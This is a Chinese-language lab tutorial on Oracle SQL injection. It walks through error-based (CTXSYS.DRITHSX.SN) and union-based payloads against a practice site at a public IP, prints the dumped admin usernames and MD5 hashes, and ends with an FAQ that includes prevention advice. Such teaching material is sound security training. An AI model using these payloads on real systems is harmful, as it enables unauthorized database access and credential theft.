Oracle-报错注入
基础知识
Oracle数据库
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
dual
Oracle提供的最小的工作表,只有一行一列,具有某些特殊功用。
前面讲到过 SQLServer 对于union联合查询,前面有输出的情况,后面的输出类型必须满足前面的类型,对格式的要求比MySQL严格,但是现在的这个Oracle则更加的严格。
但是对于一些并不是表里查的数据,我们又需要满足Oracle查询格式,则可以通过使用dual表来进行补全。
-- 查询当前用户名
select user from dual;
-- 调用系统函数,获得随机值
select dbms_random.random from dual;
-- 加减法
select 9+1 from dual;
常用命令
-- 查询所有的表
select * from all_tables;
-- 查询出当前用户的表
select * from user_tables;
-- 查询出所有的字段
select * from all_tab_columns;
-- 查询出当前用户的字段
select * from user_tab_columns;
-- 查数据库版本
select * from v$version
-- 限制返回结果的行数,与MySQL功能相似,有一定区别
rownum=1
-- 对于rownum是Oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,一次类推,这个伪字段可以用于限制查询返回的总行数。
如: rownum<3 则,输出两行数据
CTXSYS.DRITHS.SN()
报错注入常用函数!
-- 取查询关于主题的对应关键词,然后因为查询失败(用户没有创建与查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
-- 查询数据库版本
and 1=CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
由于Oracle的严谨,单独的字符串在where后面也不会作为判断的条件,所以我们需要将其加入判断,才能使得该部分作为条件,>,<,=都可以。
一个条件,排除符合条件的数据
and 字段名<>字段值
手工注入
1.靶场地址
http://59.63.200.79:8808/?id=1
2.判断是否存在注入点
-- 正常输出
http://59.63.200.79:8808/?id=1 and 1=1
-- 非正常输出
http://59.63.200.79:8808/?id=1 and 1=2
-- order by
http://59.63.200.79:8808/?id=1 order by 4
3.获取字段类型
-- 由于不知道字段类型,所以先用null尝试能否正常执行
http://59.63.200.79:8808/?id=1 and 1=2 union select null,null,null,null from dual
-- 通过更改null,确定字段类型
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,null,null,null from dual
-- 正常输出,第一个字段为数字类型
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,null,null,333 from dual
-- 有输出,但是时间会随着第四个值不断变换,第四个字段为时间类型
-- 其他两个,第二,第三字段目前类型暂不明确
4.通过报错注入获得表
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select TABLE_NAME from user_tables where rownum=1))
-- 获得表名,NEWS
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select TABLE_NAME from user_tables where table_name<>'NEWS' and rownum=1)) -- q
-- 获得表名: ADMIN
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select TABLE_NAME from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and rownum=1)) -- q
-- 获得表名:MD5
5.通过报错获得字段
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select count(COLUMN_NAME) from user_tab_columns where TABLE_NAME='ADMIN'))
-- 获得ADMIN表总的字段数为3
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select COLUMN_NAME from user_tab_columns where TABLE_NAME='ADMIN' and rownum=1))
-- 字段1:ID
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select COLUMN_NAME from user_tab_columns where TABLE_NAME='ADMIN' and COLUMN_NAME<>'ID' and rownum=1))
-- 字段2:UNAME
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select COLUMN_NAME from user_tab_columns where TABLE_NAME='ADMIN' and COLUMN_NAME<>'ID' and COLUMN_NAME<>'UNAME' and rownum=1))
-- 字段2:UPASS
6.获得数据
-- 统计ADMIN的行数,共3行
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select count(1) from ADMIN))
-- UPASS字段第一行,f583aea84b6ded258f529205eb6d56a7
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from ADMIN where rownum=1 ))
-- UPASS字段第二行, 9e8e7f6953dd11ceccc6ce655e03e070
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from ADMIN where UPASS<>'f583aea84b6ded258f529205eb6d56a7' and rownum=1 ))
-- UPASS字段第三行, 9e8e7f6953dd11ceccc6ce655e03e070
http://59.63.200.79:8808/?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from ADMIN where UPASS<>'f583aea84b6ded258f529205eb6d56a7' and UPASS<>'9e8e7f6953dd11ceccc6ce655e03e070' and rownum=1 ))
注意
前面第三步我们考虑通过显错注入的时候并为得出第二,第三字段的字段类型,其实第二个字段是 NVARCHAR2
,不是简单的char
或者varchar
,是Oracle的一个特殊字段类型,所以需要用一个函数进行转换to_nchar()
。
所以这里也可以通过显错注入直接拿到表,以及字段,数据!
1. 显错获得表
-- 获得表
-- ADMIN
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(table_name),null,333 from user_tables -- qwe
-- MD5
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(table_name),null,333 from user_tables where table_name<>'ADMIN' -- qwe
-- NEWS
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(table_name),null,333 from user_tables where table_name<>'ADMIN' and table_name<>'MD5' -- qwe
2.显错获得字段
-- 统计获得ADMIN表的总字段数
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(count(column_name)),null,333 from user_tab_columns where table_name='ADMIN' -- qwe
-- ADMIN表的第一个字段 ID
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(column_name),null,333 from user_tab_columns where table_name='ADMIN' and rownum=1 -- qwe
-- ADMIN表的第二个字段 UNAME
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(column_name),null,333 from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1 -- qwe
-- ADMIN表的第三个字段 UPASS
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(column_name),null,333 from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'UNAME' and rownum=1 -- qwe
3.获得数据
-- 统计获得ADMIN表的总行数
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(count(1)),null,333 from ADMIN -- qwe
-- 统计获得ADMIN表的第一行
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UNAME),null,333 from ADMIN where rownum=1 -- qwe
-- 我是管理员
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UPASS),null,333 from ADMIN where rownum=1 -- qwe
-- f583aea84b6ded258f529205eb6d56a7
-- 统计获得ADMIN表的第二行
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UNAME),null,333 from ADMIN where rownum=1 and UNAME<>'我是管理员' -- qwe
-- admin
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UPASS),null,333 from ADMIN where rownum=1 and UPASS<>'f583aea84b6ded258f529205eb6d56a7' -- qwe
-- 9e8e7f6953dd11ceccc6ce655e03e070
-- 统计获得ADMIN表的第三行
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UNAME),null,333 from ADMIN where rownum=1 and UNAME<>'我是管理员' and UNAME<>'admin' -- qwe
-- NF
http://59.63.200.79:8808/?id=1 and 1=2 union select 1,to_nchar(UPASS),null,333 from ADMIN where rownum=1 and UPASS<>'f583aea84b6ded258f529205eb6d56a7' and UPASS<>'9e8e7f6953dd11ceccc6ce655e03e070' -- qwe
-- 2a61f8bcfe7535eadcfa69eb4406ceb9
ID | UNAME | UPASS |
---|---|---|
我是管理员 | f583aea84b6ded258f529205eb6d56a7 | |
admin | 9e8e7f6953dd11ceccc6ce655e03e070 | |
NF | 2a61f8bcfe7535eadcfa69eb4406ceb9 |
Oracle数据库中取几行
rownum
是Oracle的取列的东西,但是赶紧跟MySQL中limit
就差远了,但是这么才能像limit
这样用呢?
SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
分析:
- ()子查询中,把所有用户查出来了,并通过将
rownum
输出为一个字段为r,相当于得到一张新表; - 然后又通过查询刚得到的 r 行号跟 username 字段,通过where 条件是r=? 显示第几个username;
常见问题
Oracle数据库常见问题
1、什么是Oracle数据库?
Oracle 数据库系统,是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合。
2、Oracle 系统表
Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。
DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。
DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。
ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。
USER_TABLES意为某一用户所拥有的所有的关系表。
当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。
DBA_TABLES >= ALL_TABLES >= USER_TABLES
需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。
3、Oracle 使用查询语句获取数据时要注意什么?
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,只是用来构成select的语法规则。
4、Oracle数据类型要注意的问题?
Oracle的数据类型是强匹配的(MYSQL有弱匹配),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
5、Oracle的注释?
Oracle的单行注释符号是--,多行注释符号/**/。
6、Oracle 查询大小写问题?
Oracle 查询字段不区分大小写,但数据区分。
7、Oracle的基本查询语句有哪些?
select * from all_tables(查出所有的表);
select * from user_tables(查出当前用户的表);
select * from all_tab_columns(查出当前用户的字段);
select * from user_tab_columns(查出当前用户的字段);
select * from v$version(查版本)
8、Oracle查表里总条数?
select count(*) from all_objects
9、什么是报错注入?
报错注入是是一种可以忽略数据类型的注入方法,它使数据库出错,然后强行丢出一个致命性错误,这个错误信息里面的内容我们可以控制。
10、在Oracle报错注入中使用到的函数和语法?
ctxsys.drithsx.sn(用户名,(查询语句))
11、Oracle 中rownum的用法,是怎么用的?
oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。
12、rownum对大于某值的查询条件?
如果想找到从第二行记录以后的记录,当使用rownum>2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。
想查找到第二行以后的记录可使用子查询方法来解决。注意子查询中的rownum必须要有别名,否则还是不会查出记录来,这是因为rownum不是某个表的列,如果不起别名的话,无法知道rownum是子查询的列还是主查询的列。
例:select * from(select rownum no ,id,name from student) where no>2
13、rownum对小于某值的查询条件?
rownum对于rownum<n((n>1的自然数)的条件认为是成立的,所以可以找到记录。
例:select rownum,id,name from student where rownum <3
14、rownum对查询某一区间的方法?
查询rownum在某区间的数据,必须使用子查询。例如要查询rownum在第二行到第三行之间的数据,包括第二行和第三行数据,那么我们只能写以下语句,先让它返回小于等于三的记录行,然后在主查询中判断新的rownum的别名列大于等于二的记录行。但是这样的操作会在大数据集中影响速度。
例: select * from (select rownum no,id,name from student where rownum<=3 ) where no >=2
15、||在Oracle的用法?
在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。
16、防止Oracle注入的办法?
①对用户的输入进行校验,可以通过正则表达式,或限制长度;对引号等特殊符号进行转换
②不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
③不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
④不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
⑤应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
17、Oracle如果显错注入时类型错误了怎么办?
方法1:去转码,用Oracle自带转码函数
(https://blog.csdn.net/Alen_Liu_SZ/article/details/90542935)
方法2:使用报错注入,让编码什么的都拜拜
18、Oracle怎么实现Limit功能?
实例:SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
SELECT ROWNUM r, username FROM all_users
=> ROWNUM r 指的是把ROWNUM的数据取一个别名叫做r
=> ROWNUM 是Oracle数据库得到结果后自动加上去的数字(结果有几条就加几条)
[如果查询结果只有一条数据,那么Rownum只有1]
因为这个查询的结果是一张表,所以可以执行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users)
(SELECT ROWNUM r, username FROM all_users) = 表
然后输出的username其实就是上图所显示USERNAME的值,然后指定R等于你想要的第几条就可以了。
因为ROWNUM会随着查询结果条数而变化,而子查询里面的ROWNUM不会变,我们用他的别名r来选中它,以免和外面这个查询中的ROWNUM产生冲突